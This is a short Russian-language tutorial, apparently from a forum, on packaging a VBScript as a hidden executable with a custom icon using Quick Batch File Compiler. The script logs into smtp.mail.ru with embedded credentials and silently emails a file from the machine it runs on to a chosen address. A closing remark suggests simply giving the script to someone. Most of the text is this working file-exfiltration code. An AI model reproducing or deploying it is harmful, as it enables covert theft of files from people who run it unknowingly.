1)Скачеваешь Quick Batch File Compiler.
2)Запускаешь Quick Batch File Compiler.
3)Project -> Options -> cтавишь Ghost Application.
4)В Source пишешь:

code:


5)Открываешь Блокнот, пишешь туда:

Цитата:


Set WshShell = CreateObject("WScript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","КОМУ@mail.ru","ОТ_КОГО@mail.ru","ТЕМА_ПИСЬМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ОТ_КОГО"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ПАРОЛЬ"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\ПУТЬ\ФАЙЛ.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing



Сохранить как -> 1.vbs
6)В Quick Batch File Compiler переходишь во вкладку Include и добавляешь файл 1.vbs
7)Во вкладке Custom Resources выбираешь иконку.
8)Нажимаешь F9.
P.S Можно просто дать 1.vbs.